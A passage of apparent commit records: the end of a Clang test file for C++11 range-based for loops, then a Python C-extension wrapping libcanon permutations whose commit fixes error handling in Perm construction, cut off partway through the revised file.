:\n      it(it), end_(end), step(step) {}\n    typedef value_range_step_iter<T> iterator;\n    iterator begin() const { return iterator(it, step); }\n    iterator end() const { return iterator(end_, step); }\n  };\n}\n\ntemplate<typename T>\nvalue_range_detail::value_range<T> range(const T &a, const T &b) { return value_range_detail::value_range<T>(a, b); }\n\ntemplate<typename T>\nvalue_range_detail::value_range_step<T> range(const T &a, const T &b, const T &step) { return value_range_detail::value_range_step<T>(a, b, step); }\n\n\nnamespace map_range {\n  template<typename T>\n  class vector {\n    T storage[100];\n    decltype(sizeof(char)) size;\n  public:\n    vector() : size() {}\n    void push_back(T t) { storage[size++] = t; }\n    T *begin() { return storage; }\n    T *end() { return storage + size; }\n  };\n\n  template<typename T> struct tuple_elem {\n    T t;\n    tuple_elem() {}\n    tuple_elem(T t) : t(t) {}\n  };\n  template<typename... A>\n  struct tuple : tuple_elem<A>... {\n    tuple() : tuple_elem<A>()... {}\n    tuple(A... a) : tuple_elem<A>(a)... {}\n    template<typename B> B &get() { return tuple_elem<B>::t; }\n  };\n\n  template<typename F, typename I>\n  class map_iter {\n    F f;\n    I i;\n  public:\n    map_iter(F f, I i) : f(f), i(i) {}\n    auto operator*() const -> decltype(f(*i)) { return f(*i); }\n    bool operator!=(const map_iter &o) const { return i != o.i; }\n    map_iter &operator++() { ++i; return *this; }\n  };\n\n  template<typename T>\n  struct iter_pair {\n    T begin_, end_;\n    iter_pair(T begin, T end) : begin_(begin), end_(end) {}\n  };\n  template<typename T> T begin(iter_pair<T> p) { return p.begin_; }\n  template<typename T> T end(iter_pair<T> p) { return p.end_; }\n\n  template<typename...> class mem_fun_impl;\n  template<typename R, typename T, typename... A>\n  class mem_fun_impl<R (T::*)(A...)> {\n    typedef R (T::*F)(A...);\n    F f;\n  public:\n    mem_fun_impl(F f) : f(f) {}\n    R operator()(T &t, A &&...a) const { return (t.*f)(static_cast<A&&>(a)...); }\n  };\n  template<typename F> mem_fun_impl<F> mem_fun(F f) { return mem_fun_impl<F>(f); }\n\n  template<typename F, typename T>\n  auto map(const F &f, T &t) -> iter_pair<map_iter<F, decltype(t.begin())>> {\n    typedef map_iter<F, decltype(t.begin())> iter;\n    return iter_pair<iter>(iter(f, t.begin()), iter(f, t.end()));\n  }\n}\n\n#define assert(b) if (!b) { return 1; }\nint main() {\n  int total = 0;\n\n  for (auto n : range(1, 5)) {\n    total += n;\n  }\n  assert((total == 10));\n\n  for (auto n : range(10, 100, 10)) {\n    total += n;\n  }\n  assert((total == 460));\n\n  map_range::vector<char> chars;\n  chars.push_back('a');\n  chars.push_back('b');\n  chars.push_back('c');\n  for (char c : chars) {\n    ++total;\n  }\n  assert((total == 463));\n\n  typedef map_range::tuple<int, double> T;\n  map_range::vector<T> pairs;\n  pairs.push_back(T(42, 12.9));\n  pairs.push_back(T(6, 4.2));\n  pairs.push_back(T(9, 1.1));\n  for (auto a : map(map_range::mem_fun(&T::get<int>), pairs)) {\n    total += a;\n  }\n  assert((total == 500));\n}\n\n\/\/ PR11793\nnamespace test2 {\n  class A {\n    int xs[10]; \/\/ expected-note {{implicitly declared private here}}\n  };\n  void test(A &a) {\n    for (int x : a.xs) { } \/\/ expected-error {{'xs' is a private member of 'test2::A'}}\n  }\n}\n\nnamespace test3 {\n  \/\/ Make sure this doesn't crash\n  struct A {};\n  struct B { ~B(); operator bool(); };\n  struct C { B operator!=(const C&); C& operator++(); int operator*(); };\n  C begin(const A&);\n  C end(const A&);\n  template<typename T> void f() { for (auto a : A()) {} }\n  void g() { f<int>(); }\n}\n\nnamespace test4 {\n  void f() {\n    int y;\n\n    \/\/ Make sure these don't crash. Better diagnostics would be nice.\n    for (: {1, 2, 3}) {} \/\/ expected-error {{expected expression}} expected-error {{expected ';'}}\n    for (x : {1, 2, 3}) {} \/\/ expected-error {{undeclared identifier}} expected-error {{expected ';'}}\n    for (y : {1, 2, 3}) {} \/\/ expected-error {{must declare a variable}} expected-warning {{result unused}}\n  }\n}\n<commit_msg>Fix test better way.<commit_after>\/\/ RUN: %clang_cc1 -fsyntax-only -verify %s -std=c++11\n\nnamespace value_range_detail {\n  template<typename T>\n  class value_range_iter {\n    T t;\n  public:\n    value_range_iter(const T &t) : t(t) {}\n    T operator*() const { return t; }\n    bool operator!=(const value_range_iter &o) const { return t != o.t; }\n    value_range_iter &operator++() { ++t; return *this; }\n  };\n\n  template<typename T>\n  struct value_range {\n    value_range(const T &a, const T &b) : begin_(a), end_(b) {}\n    value_range_iter<T> begin_, end_;\n  };\n\n  template<typename T>\n  value_range_iter<T> begin(const value_range<T> &r) { return r.begin_; }\n  template<typename T>\n  value_range_iter<T> end(const value_range<T> &r) { return r.end_; }\n\n\n  struct end_t {};\n\n  template<typename T>\n  class value_range_step_iter {\n    T it, step;\n  public:\n    value_range_step_iter(const T &it, const T &step) : it(it), step(step) {}\n    T operator*() const { return it; }\n    bool operator!=(value_range_step_iter end) const { return it != end.it; }\n    value_range_step_iter &operator++() { it += step; return *this; }\n  };\n\n  template<typename T>\n  class value_range_step {\n    T it, step, end_;\n  public:\n    value_range_step(const T &it, const T &end, const T &step) :\n      it(it), end_(end), step(step) {}\n    typedef value_range_step_iter<T> iterator;\n    iterator begin() const { return iterator(it, step); }\n    iterator end() const { return iterator(end_, step); }\n  };\n}\n\ntemplate<typename T>\nvalue_range_detail::value_range<T> range(const T &a, const T &b) { return value_range_detail::value_range<T>(a, b); }\n\ntemplate<typename T>\nvalue_range_detail::value_range_step<T> range(const T &a, const T &b, const T &step) { return value_range_detail::value_range_step<T>(a, b, step); }\n\n\nnamespace map_range {\n  template<typename T>\n  class vector {\n    T storage[100];\n    decltype(sizeof(char)) size;\n  public:\n    vector() : size() {}\n    void push_back(T t) { storage[size++] = t; }\n    T *begin() { return storage; }\n    T *end() { return storage + size; }\n  };\n\n  template<typename T> struct tuple_elem {\n    T t;\n    tuple_elem() {}\n    tuple_elem(T t) : t(t) {}\n  };\n  template<typename... A>\n  struct tuple : tuple_elem<A>... {\n    tuple() : tuple_elem<A>()... {}\n    tuple(A... a) : tuple_elem<A>(a)... {}\n    template<typename B> B &get() { return tuple_elem<B>::t; }\n  };\n\n  template<typename F, typename I>\n  class map_iter {\n    F f;\n    I i;\n  public:\n    map_iter(F f, I i) : f(f), i(i) {}\n    auto operator*() const -> decltype(f(*i)) { return f(*i); }\n    bool operator!=(const map_iter &o) const { return i != o.i; }\n    map_iter &operator++() { ++i; return *this; }\n  };\n\n  template<typename T>\n  struct iter_pair {\n    T begin_, end_;\n    iter_pair(T begin, T end) : begin_(begin), end_(end) {}\n  };\n  template<typename T> T begin(iter_pair<T> p) { return p.begin_; }\n  template<typename T> T end(iter_pair<T> p) { return p.end_; }\n\n  template<typename...> class mem_fun_impl;\n  template<typename R, typename T, typename... A>\n  class mem_fun_impl<R (T::*)(A...)> {\n    typedef R (T::*F)(A...);\n    F f;\n  public:\n    mem_fun_impl(F f) : f(f) {}\n    R operator()(T &t, A &&...a) const { return (t.*f)(static_cast<A&&>(a)...); }\n  };\n  template<typename F> mem_fun_impl<F> mem_fun(F f) { return mem_fun_impl<F>(f); }\n\n  template<typename F, typename T>\n  auto map(const F &f, T &t) -> iter_pair<map_iter<F, decltype(t.begin())>> {\n    typedef map_iter<F, decltype(t.begin())> iter;\n    return iter_pair<iter>(iter(f, t.begin()), iter(f, t.end()));\n  }\n}\n\n#define assert(b) if (!(b)) { return 1; }\nint main() {\n  int total = 0;\n\n  for (auto n : range(1, 5)) {\n    total += n;\n  }\n  assert(total == 10);\n\n  for (auto n : range(10, 100, 10)) {\n    total += n;\n  }\n  assert(total == 460);\n\n  map_range::vector<char> chars;\n  chars.push_back('a');\n  chars.push_back('b');\n  chars.push_back('c');\n  for (char c : chars) {\n    ++total;\n  }\n  assert(total == 463);\n\n  typedef map_range::tuple<int, double> T;\n  map_range::vector<T> pairs;\n  pairs.push_back(T(42, 12.9));\n  pairs.push_back(T(6, 4.2));\n  pairs.push_back(T(9, 1.1));\n  for (auto a : map(map_range::mem_fun(&T::get<int>), pairs)) {\n    total += a;\n  }\n  assert(total == 500);\n}\n\n\/\/ PR11793\nnamespace test2 {\n  class A {\n    int xs[10]; \/\/ expected-note {{implicitly declared private here}}\n  };\n  void test(A &a) {\n    for (int x : a.xs) { } \/\/ expected-error {{'xs' is a private member of 'test2::A'}}\n  }\n}\n\nnamespace test3 {\n  \/\/ Make sure this doesn't crash\n  struct A {};\n  struct B { ~B(); operator bool(); };\n  struct C { B operator!=(const C&); C& operator++(); int operator*(); };\n  C begin(const A&);\n  C end(const A&);\n  template<typename T> void f() { for (auto a : A()) {} }\n  void g() { f<int>(); }\n}\n\nnamespace test4 {\n  void f() {\n    int y;\n\n    \/\/ Make sure these don't crash. Better diagnostics would be nice.\n    for (: {1, 2, 3}) {} \/\/ expected-error {{expected expression}} expected-error {{expected ';'}}\n    for (x : {1, 2, 3}) {} \/\/ expected-error {{undeclared identifier}} expected-error {{expected ';'}}\n    for (y : {1, 2, 3}) {} \/\/ expected-error {{must declare a variable}} expected-warning {{result unused}}\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/** Implementation of canonpy.\n *\/\n\n#include <canonpy.h>\n\n#include <Python.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include <libcanon\/perm.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Point;\nusing libcanon::Point_vec;\n\n\/\/\n\/\/ Perm class\n\/\/ ==========\n\/\/\n\/\/ Internal functions\n\/\/ ------------------\n\/\/\n\/\/ These functions are not directly set to Python types but are used\n\/\/ internally.  They are also used by other parts of this extension.\n\/\/\n\n\/** Builds a tuple object for a permutation.\n *\n * This function creates a pair, where the first field is a list of integers\n * for the preimage array, and the second field is the accompanied action,\n * which is also encoded as an integer.\n *\/\n\nstatic PyObject* build_perm_to_tuple(const Simple_perm& perm)\n{\n\n    PyObject* pre_images = NULL;\n    PyObject* res = NULL;\n    PyObject* acc = NULL;\n    size_t size = perm.size();\n\n    pre_images = PyList_New(size);\n    if (!pre_images)\n        goto error;\n    for (size_t i = 0; i < size; ++i) {\n        PyObject* curr = Py_BuildValue(\"n\", perm >> i);\n        if (curr) {\n            PyList_SetItem(pre_images, i, curr);\n        } else {\n            goto error;\n        }\n    }\n\n    acc = Py_BuildValue(\"b\", perm.acc());\n    if (!acc)\n        goto error;\n\n    res = PyTuple_New(2);\n    if (!res)\n        goto error;\n\n    PyTuple_SET_ITEM(res, 0, pre_images);\n    PyTuple_SET_ITEM(res, 1, acc);\n\n    return (PyObject*)res;\n\nerror:\n    Py_XDECREF(pre_images);\n    Py_XDECREF(res);\n    Py_XDECREF(acc);\n    return NULL;\n}\n\n\/** Builds a permutation from its construction arguments.\n *\n * An iterable of positive integers for the pre-image array needs to be given\n * as the first argument.  The accompanied action can be optionally given as\n * another integral argument, or by the keyword ``acc``.\n *\n * If the arguments are not valid, an integer exception will be thrown and the\n * Python exception will be set.\n *\n * This function is designed to be compatible with the result from the function\n * `build_perm_to_tuple`.  However, more general input format is accepted.\n *\/\n\nstatic Simple_perm make_perm_from_args(PyObject* args, PyObject* kwargs)\n{\n    PyObject* pre_images;\n    char acc = 0;\n\n    \/\/ We only need a simple code, actual error is set to the Python stack.\n    constexpr int err_code = 1;\n\n    static char* kwlist[] = { \"pre_images\", \"acc\", NULL };\n\n    auto args_stat = PyArg_ParseTupleAndKeywords(\n        args, kwargs, \"O|b\", kwlist, &pre_images, &acc);\n\n    if (!args_stat)\n        throw err_code;\n\n    Point_vec pre_images_vec{};\n    std::vector<bool> image_set{};\n\n    PyObject* pre_images_iter = PyObject_GetIter(pre_images);\n    if (!pre_images_iter)\n        throw error;\n\n    \/\/ Set this to true and goto the end of the function, then the iterator can\n    \/\/ be released.\n    bool if_err = false;\n\n    PyObject* pre_image_obj;\n    while (pre_image_obj = PyIter_Next(pre_images_iter)) {\n\n        if (!PyLong_Check(pre_image_obj)) {\n            if_err = true;\n            goto exit;\n        }\n        Point pre_image = PyLong_AsUnsignedLong(pre_image_obj);\n\n        \/\/ Release reference right here since its content is already extracted.\n        \/\/ In this way, the error handling does not need to worry about it any\n        \/\/ more.\n        Py_DECREF(pre_image_obj);\n\n        if (PyErr_Occurred()) {\n            if_err = true;\n            goto exit;\n        }\n\n        pre_images_vec.push_back(pre_image);\n        size_t req_size = pre_image + 1;\n        if (image_set.size() < req_size)\n            image_set.resize(req_size, false);\n        if (image_set[pre_image]) {\n            std::string err_msg(\"The image of \");\n            err_msg.append(std::to_string(pre_image));\n            err_msg.append(\" has already been set.\");\n            PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n            if_err = true;\n            goto exist;\n        } else {\n            image_set[pre_image] = true;\n        }\n    }\n\n    \/\/ Non StopIteration error.\n    if (PyErr_Occurred()) {\n        if_err = true;\n        goto exit;\n    }\n\n    auto first_not_set = std::find(image_set.begin(), image_set.end(), false);\n    if (first_not_set != image_set.end()) {\n        std::string err_msg(\"The image of \");\n        err_msg.append(std::to_string(first_not_set - images_set.begin()));\n        err_msg(\" is not set.\");\n        if_err = true;\n    }\n\nexit:\n    Py_DECREF(pre_images_iter);\n    if (if_err) {\n        throw err_code;\n    } else {\n        return Simple_perm(std::move(pre_images_vec), acc);\n    }\n}\n\n\/\/\n\/\/ Interface functions\n\/\/ -------------------\n\/\/\n\nconst static char* perm_getnewargs_doc\n    = \"Get the arguments for new to construct the Perm.\";\n\nstatic PyObject* perm_getnewargs(Perm_object* self)\n{\n    \/\/ Here we directly use the tuple format of a perm.\n\n    return build_perm_to_tuple(self->perm);\n}\n\n\/** Gets the size of the permutation domain of a Perm.\n *\/\n\nstatic Py_ssize_t perm_length(Perm_object* self)\n{\n    \/\/ The type should be the same, size_t and Py_ssize_t.\n\n    return self->perm.size();\n}\n\n\/** Gets the pre-image of a point.\n *\n * A new integer object will be built by this function.\n *\/\n\nstatic PyObject* perm_item(Perm_object* self, Py_ssize_t i)\n{\n    if (i < 0) {\n        PyErr_SetString(PyExc_IndexError, \"Points should be positive.\");\n        return NULL;\n    }\n    size_t idx = i;\n    if (idx >= self->perm.size()) {\n        PyErr_SetString(PyExc_IndexError, \"Point outside permutation domain\");\n        return NULL;\n    }\n\n    return Py_BuildValue(\"n\", self->perm >> i);\n}\n\n\/** Gets the accompanied action of a Perm.\n *\/\n\nstatic PyObject* perm_get_acc(Perm_object* self, void* closure)\n{\n    \/\/ Note that the accompanied action is a byte in simple perm.\n\n    return Py_BuildValue(\"b\", self->perm.acc());\n}\n\n\/** Deallocates a perm instance.\n *\/\n\nstatic void perm_dealloc(Perm_object* self)\n{\n    self->perm.~Simple_perm();\n\n    \/\/ For subclassing.\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\n\/** Forms the string representation of a Perm object.\n *\/\n\nstatic PyObject* perm_repr(Perm_object* self)\n{\n    const Simple_perm& perm = self->perm;\n\n    std::wstring repr(L\"Perm(\");\n\n    size_t size = perm.size();\n\n    if (size > 0) {\n        for (size_t i = 0; i < size; ++i) {\n            if (i == 0) {\n                repr.append(L\"[\");\n            } else {\n                repr.append(L\", \");\n            }\n            repr.append(std::to_wstring(perm >> i));\n        }\n        repr.append(L\"]\");\n\n        \/\/ Add the accompanied action only when we need.\n        char acc = perm.acc();\n        if (acc != 0) {\n            repr.append(L\", \");\n            repr.append(std::to_wstring(acc));\n        }\n    }\n\n    \/\/ This is used for empty or non-empty permutation.\n    repr.append(L\")\");\n\n    return PyUnicode_FromUnicode(repr.data(), repr.size());\n}\n\n\/** Creates a new Perm object.\n *\n * The actual work is delegated to the Python\/Perm interface function.\n *\/\n\nstatic PyObject* perm_new(PyTypeObject* type, PyObject* args, PyObject* kwargs)\n{\n    Perm_object* self;\n\n    \/\/ Pay attention to subclassing.\n    self = (Perm_object*)type->tp_alloc(type, 0);\n\n    if (!self)\n        return NULL;\n\n    Simple_perm perm{};\n    try {\n        perm = make_perm_from_args(args, kwargs);\n    } catch (int) {\n        Py_DECREF(self);\n        return NULL;\n    }\n\n    new (&self->perm) Simple_perm(std::move(perm));\n    return (PyObject*)self;\n}\n\n\/\/\n\/\/ Class definition\n\/\/ ----------------\n\/\/\n\n\/** Methods for Perm objects.\n *\/\n\nstatic PyMethodDef perm_methods[] = {\n    { \"__getnewargs__\", (PyCFunction)perm_getnewargs, METH_NOARGS,\n        perm_getnewargs_doc },\n    { NULL, NULL } \/* sentinel *\/\n};\n\n\/** Sequence operations for Perm objects.\n *\n * Here we only support size and pre-image query.\n *\/\n\n\/\/ clang-format off\nstatic PySequenceMethods perm_as_sequence = {\n    (lenfunc)perm_length,                       \/* sq_length *\/\n    0,                                          \/* sq_concat *\/\n    0,                                          \/* sq_repeat *\/\n    (ssizeargfunc)perm_item,                    \/* sq_item *\/\n    0,                                          \/* sq_slice *\/\n    0,                                          \/* sq_ass_item *\/\n    0,                                          \/* sq_ass_slice *\/\n    0                                           \/* sq_contains *\/\n};\n\/\/ clang-format on\n\n\/** Accessors for Perms.\n *\n * The accompanied action query is made here.\n *\/\n\n\/\/ clang-format off\nstatic PyGetSetDef perm_getsets[] = {\n    { \"acc\", (getter)perm_get_acc, NULL, \"The accompanied action.\", NULL },\n    { NULL }\n};\n\/\/ clang-format on\n\n\/** Perm type doc string.\n  *\/\n\nstatic const char* perm_doc =\n    R\"__doc__(Permutation of points with accompanied action.\n\nPermutations can be constructed from an iterable giving the pre-image of the\npoints and an optional integral value for the accompanied action.  The\naccompanied action can be given positionally or by the keyword ``acc``, and it\nwill be manipulated according to the convention in libcanon.\n\nQuerying the length of a Perm object gives the size of the permutation domain,\nwhile indexing it gives the pre-image of the given integral point.  The\naccompanied action can be obtained by getting the attribute ``acc``.\nOtherwise, this data type is mostly opaque.\n\n)__doc__\";\n\n\/** Type definition for Perm class.\n *\/\n\n\/\/ clang-format off\nstatic PyTypeObject perm_type = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"drudge.canonpy.Perm\",\n    sizeof(Perm_object),\n    0,\n    (destructor) perm_dealloc,                  \/* tp_dealloc *\/\n    0,                                          \/* tp_print *\/\n    0,                                          \/* tp_getattr *\/\n    0,                                          \/* tp_setattr *\/\n    0,                                          \/* tp_reserved *\/\n    (reprfunc) perm_repr,                       \/* tp_repr *\/\n    0,                                          \/* tp_as_number *\/\n    &perm_as_sequence,                          \/* tp_as_sequence *\/\n    0,                                          \/* tp_as_mapping *\/\n    0,                                          \/* tp_hash *\/\n    0,                                          \/* tp_call *\/\n    0,                                          \/* tp_str *\/\n    0, \/* In main. *\/                           \/* tp_getattro *\/\n    0,                                          \/* tp_setattro *\/\n    0,                                          \/* tp_as_buffer *\/\n    Py_TPFLAGS_DEFAULT,                         \/* tp_flags *\/\n    perm_doc,                                   \/* tp_doc *\/\n    0,                                          \/* tp_traverse *\/\n    0,                                          \/* tp_clear *\/\n    0,                                          \/* tp_richcompare *\/\n    0,                                          \/* tp_weaklistoffset *\/\n    0,                                          \/* tp_iter *\/\n    0,                                          \/* tp_iternext *\/\n    perm_methods,                               \/* tp_methods *\/\n    0,                                          \/* tp_members *\/\n    perm_getsets,                               \/* tp_getset *\/\n    0,                                          \/* tp_base *\/\n    0,                                          \/* tp_dict *\/\n    0,                                          \/* tp_descr_get *\/\n    0,                                          \/* tp_descr_set *\/\n    0,                                          \/* tp_dictoffset *\/\n    0,                                          \/* tp_init *\/\n    0,                                          \/* tp_alloc *\/\n    perm_new,                                   \/* tp_new *\/\n    0,                                          \/* tp_free *\/\n};\n\/\/ clang-format on\n\n\/\/\n\/\/ Python module definition\n\/\/ ========================\n\/\/\n\n\/** Docstring for the canonpy module.\n *\/\n\nstatic const char* canonpy_docstring\n    = R\"__doc__(Canonpy, simple wrapper over libcanon for Python.\n\nThis wrapper of libcanon is directly targeted towards usage using drudge.\nHere, we have a class `Perm`, which wraps over the `Simple_perm` class in\nlibcanon, another class `SimsTransv`, which wraps over the `Sims_trasv` class\nfor `Simple_perm`.  And we also have the function `canon_eldag` to canonicalize\nan Eldag.\n\n)__doc__\";\n\n\/** Methods in the canonpy module.\n *\/\n\nstatic PyMethodDef canonpy_methods[] = { { NULL, NULL, 0, NULL } };\n\n\/** Executes the initialization of the canonpy module.\n *\/\n\nstatic int canonpy_exec(PyObject* m)\n{\n    \/\/\n    \/\/ Add the class for Perm.\n    \/\/\n\n    perm_type.tp_getattro = PyObject_GenericGetAttr;\n    if (PyType_Ready(&perm_type) < 0)\n        return -1;\n    Py_INCREF(&perm_type);\n    PyModule_AddObject(m, \"Perm\", (PyObject*)&perm_type);\n\n    return 0;\n}\n\n\/** Slots for for canonpy module definition.\n *\/\n\nstatic struct PyModuleDef_Slot canonpy_slots[] = {\n    { Py_mod_exec, (void*)canonpy_exec }, { 0, NULL },\n};\n\n\/** Canonpy module definition.\n *\/\n\n\/\/ clang-format off\n\nstatic struct PyModuleDef canonpy_module = {\n    PyModuleDef_HEAD_INIT,\n    \"drudge.canonpy\",\n    canonpy_docstring,\n    0, \/\/ m-size\n    canonpy_methods,\n    canonpy_slots,\n    NULL, \/\/ Transverse\n    NULL, \/\/ Clear\n    NULL  \/\/ Free\n};\n\n\/\/ clang-format on\n\n\/** The published canonpy function.\n *\/\n\nPyMODINIT_FUNC PyInit_canonpy(void)\n{\n    return PyModuleDef_Init(&canonpy_module);\n}\n<commit_msg>Revise Perm creation from Python args<commit_after>\/** Implementation of canonpy.\n *\/\n\n#include <canonpy.h>\n\n#include <Python.h>\n\n#include <algorithm>\n#include <string>\n#include <vector>\n\n#include <libcanon\/perm.h>\n\nusing libcanon::Simple_perm;\nusing libcanon::Point;\nusing libcanon::Point_vec;\n\n\/\/\n\/\/ Perm class\n\/\/ ==========\n\/\/\n\/\/ Internal functions\n\/\/ ------------------\n\/\/\n\/\/ These functions are not directly set to Python types but are used\n\/\/ internally.  They are also used by other parts of this extension.\n\/\/\n\n\/** Builds a tuple object for a permutation.\n *\n * This function creates a pair, where the first field is a list of integers\n * for the preimage array, and the second field is the accompanied action,\n * which is also encoded as an integer.\n *\/\n\nstatic PyObject* build_perm_to_tuple(const Simple_perm& perm)\n{\n\n    PyObject* pre_images = NULL;\n    PyObject* res = NULL;\n    PyObject* acc = NULL;\n    size_t size = perm.size();\n\n    pre_images = PyList_New(size);\n    if (!pre_images)\n        goto error;\n    for (size_t i = 0; i < size; ++i) {\n        PyObject* curr = Py_BuildValue(\"n\", perm >> i);\n        if (curr) {\n            PyList_SetItem(pre_images, i, curr);\n        } else {\n            goto error;\n        }\n    }\n\n    acc = Py_BuildValue(\"b\", perm.acc());\n    if (!acc)\n        goto error;\n\n    res = PyTuple_New(2);\n    if (!res)\n        goto error;\n\n    PyTuple_SET_ITEM(res, 0, pre_images);\n    PyTuple_SET_ITEM(res, 1, acc);\n\n    return (PyObject*)res;\n\nerror:\n    Py_XDECREF(pre_images);\n    Py_XDECREF(res);\n    Py_XDECREF(acc);\n    return NULL;\n}\n\n\/** Builds a permutation from its construction arguments.\n *\n * An iterable of positive integers for the pre-image array needs to be given\n * as the first argument.  The accompanied action can be optionally given as\n * another integral argument, or by the keyword ``acc``.\n *\n * If the arguments are not valid, an integer exception will be thrown and the\n * Python exception will be set.\n *\n * This function is designed to be compatible with the result from the function\n * `build_perm_to_tuple`.  However, more general input format is accepted.\n *\/\n\nstatic Simple_perm make_perm_from_args(PyObject* args, PyObject* kwargs)\n{\n    PyObject* pre_images;\n    char acc = 0;\n\n    \/\/ We only need a simple internal code, actual error is set to the Python\n    \/\/ stack.\n    constexpr int err_code = 1;\n\n    static char* kwlist[] = { \"pre_images\", \"acc\", NULL };\n\n    auto args_stat = PyArg_ParseTupleAndKeywords(\n        args, kwargs, \"O|b\", kwlist, &pre_images, &acc);\n\n    if (!args_stat)\n        throw err_code;\n\n    Point_vec pre_images_vec{};\n    std::vector<bool> image_set{};\n\n    PyObject* pre_images_iter = PyObject_GetIter(pre_images);\n    if (!pre_images_iter)\n        throw err_code;\n\n    \/\/ Iterator of pre-images is always going to be decrefed after the\n    \/\/ following block.  This boolean controls if we are going to return or\n    \/\/ throw.\n    bool if_err = false;\n\n    try {\n        PyObject* pre_image_obj;\n        while ((pre_image_obj = PyIter_Next(pre_images_iter))) {\n\n            if (!PyLong_Check(pre_image_obj)) {\n                throw err_code;\n            }\n            Point pre_image = PyLong_AsUnsignedLong(pre_image_obj);\n\n            \/\/ Release reference right here since its content is already\n            \/\/ extracted.  In this way, the error handling does not need to\n            \/\/ worry about it any more.\n            Py_DECREF(pre_image_obj);\n\n            if (PyErr_Occurred()) {\n                throw err_code;\n            }\n\n            pre_images_vec.push_back(pre_image);\n            size_t req_size = pre_image + 1;\n            if (image_set.size() < req_size)\n                image_set.resize(req_size, false);\n            if (image_set[pre_image]) {\n                std::string err_msg(\"The image of \");\n                err_msg.append(std::to_string(pre_image));\n                err_msg.append(\" has already been set.\");\n                PyErr_SetString(PyExc_ValueError, err_msg.c_str());\n                throw err_code;\n            } else {\n                image_set[pre_image] = true;\n            }\n        }\n\n        \/\/ Non StopIteration error.\n        if (PyErr_Occurred()) {\n            throw err_code;\n        }\n\n        auto first_not_set\n            = std::find(image_set.begin(), image_set.end(), false);\n        if (first_not_set != image_set.end()) {\n            std::string err_msg(\"The image of \");\n            err_msg.append(std::to_string(first_not_set - image_set.begin()));\n            err_msg.append(\" is not set.\");\n            throw err_code;\n        }\n\n    } catch (int) {\n        if_err = true;\n    }\n\n    Py_DECREF(pre_images_iter);\n    if (if_err) {\n        throw err_code;\n    } else {\n        return Simple_perm(std::move(pre_images_vec), acc);\n    }\n}\n\n\/\/\n\/\/ Interface functions\n\/\/ -------------------\n\/\/\n\nconst static char* perm_getnewargs_doc\n    = \"Get the arguments for new to construct the Perm.\";\n\nstatic PyObject* perm_getnewargs(Perm_object* self)\n{\n    \/\/ Here we directly use the tuple format of a perm.\n\n    return build_perm_to_tuple(self->perm);\n}\n\n\/** Gets the size of the permutation domain of a Perm.\n *\/\n\nstatic Py_ssize_t perm_length(Perm_object* self)\n{\n    \/\/ The type should be the same, size_t and Py_ssize_t.\n\n    return self->perm.size();\n}\n\n\/** Gets the pre-image of a point.\n *\n * A new integer object will be built by this function.\n *\/\n\nstatic PyObject* perm_item(Perm_object* self, Py_ssize_t i)\n{\n    if (i < 0) {\n        PyErr_SetString(PyExc_IndexError, \"Points should be positive.\");\n        return NULL;\n    }\n    size_t idx = i;\n    if (idx >= self->perm.size()) {\n        PyErr_SetString(PyExc_IndexError, \"Point outside permutation domain\");\n        return NULL;\n    }\n\n    return Py_BuildValue(\"n\", self->perm >> i);\n}\n\n\/** Gets the accompanied action of a Perm.\n *\/\n\nstatic PyObject* perm_get_acc(Perm_object* self, void* closure)\n{\n    \/\/ Note that the accompanied action is a byte in simple perm.\n\n    return Py_BuildValue(\"b\", self->perm.acc());\n}\n\n\/** Deallocates a perm instance.\n *\/\n\nstatic void perm_dealloc(Perm_object* self)\n{\n    self->perm.~Simple_perm();\n\n    \/\/ For subclassing.\n    Py_TYPE(self)->tp_free((PyObject*)self);\n}\n\n\/** Forms the string representation of a Perm object.\n *\/\n\nstatic PyObject* perm_repr(Perm_object* self)\n{\n    const Simple_perm& perm = self->perm;\n\n    std::wstring repr(L\"Perm(\");\n\n    size_t size = perm.size();\n\n    if (size > 0) {\n        for (size_t i = 0; i < size; ++i) {\n            if (i == 0) {\n                repr.append(L\"[\");\n            } else {\n                repr.append(L\", \");\n            }\n            repr.append(std::to_wstring(perm >> i));\n        }\n        repr.append(L\"]\");\n\n        \/\/ Add the accompanied action only when we need.\n        char acc = perm.acc();\n        if (acc != 0) {\n            repr.append(L\", \");\n            repr.append(std::to_wstring(acc));\n        }\n    }\n\n    \/\/ This is used for empty or non-empty permutation.\n    repr.append(L\")\");\n\n    return PyUnicode_FromUnicode(repr.data(), repr.size());\n}\n\n\/** Creates a new Perm object.\n *\n * The actual work is delegated to the Python\/Perm interface function.\n *\/\n\nstatic PyObject* perm_new(PyTypeObject* type, PyObject* args, PyObject* kwargs)\n{\n    Perm_object* self;\n\n    \/\/ Pay attention to subclassing.\n    self = (Perm_object*)type->tp_alloc(type, 0);\n\n    if (!self)\n        return NULL;\n\n    Simple_perm perm{};\n    try {\n        perm = make_perm_from_args(args, kwargs);\n    } catch (int) {\n        Py_DECREF(self);\n        return NULL;\n    }\n\n    new (&self->perm) Simple_perm(std::move(perm));\n    return (PyObject*)self;\n}\n\n\/\/\n\/\/ Class definition\n\/\/ ----------------\n\/\/\n\n\/** Methods for Perm objects.\n *\/\n\nstatic PyMethodDef perm_methods[] = {\n    { \"__getnewargs__\", (PyCFunction)perm_getnewargs, METH_NOARGS,\n        perm_getnewargs_doc },\n    { NULL, NULL } \/* sentinel *\/\n};\n\n\/** Sequence operations for Perm objects.\n *\n * Here we only support size and pre-image query.\n *\/\n\n\/\/ clang-format off\nstatic PySequenceMethods perm_as_sequence = {\n    (lenfunc)perm_length,                       \/* sq_length *\/\n    0,                                          \/* sq_concat *\/\n    0,                                          \/* sq_repeat *\/\n    (ssizeargfunc)perm_item,                    \/* sq_item *\/\n    0,                                          \/* sq_slice *\/\n    0,                                          \/* sq_ass_item *\/\n    0,                                          \/* sq_ass_slice *\/\n    0                                           \/* sq_contains *\/\n};\n\/\/ clang-format on\n\n\/** Accessors for Perms.\n *\n * The accompanied action query is made here.\n *\/\n\n\/\/ clang-format off\nstatic PyGetSetDef perm_getsets[] = {\n    { \"acc\", (getter)perm_get_acc, NULL, \"The accompanied action.\", NULL },\n    { NULL }\n};\n\/\/ clang-format on\n\n\/** Perm type doc string.\n  *\/\n\nstatic const char* perm_doc =\n    R\"__doc__(Permutation of points with accompanied action.\n\nPermutations can be constructed from an iterable giving the pre-image of the\npoints and an optional integral value for the accompanied 